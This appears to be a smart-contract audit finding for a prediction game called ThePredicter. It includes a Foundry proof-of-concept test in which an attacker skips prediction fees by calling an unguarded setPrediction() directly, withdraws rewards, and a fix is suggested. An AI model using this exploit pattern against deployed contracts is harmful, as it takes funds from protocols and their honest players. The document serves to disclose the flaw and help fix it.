An attacker can make prediction numerous predictions without paying prediction fees and still be eligible to rewards after the competition.
Add this file to test folder and run forge t --mc AuditTest --mt test_canMakePredictionWithoutPaying -vvvv
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
uint256 private constant START_TIME = 1723752000;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_canMakePredictionWithoutPaying() public{
vm.deal(stranger, 0.0402 ether);
vm.deal(player, 1 ether);
vm.prank(stranger);
thePredicter.register{value: 0.04 ether}();
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
assertEq(stranger.balance, 0);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 4, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 5, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 6, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 7, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.Second);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Second);
scoreBoard.setResult(5, ScoreBoard.Result.Second);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.Second);
scoreBoard.setResult(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
assert(stranger.balance > 0);
}
}
This could lead to players predicting without paying which invariably leads to loss of prediction fees on the protocol ends
The protocol should have a check in the setPrediction() in ScoreBoard.sol to make sure a user has paid prediction fee before it is set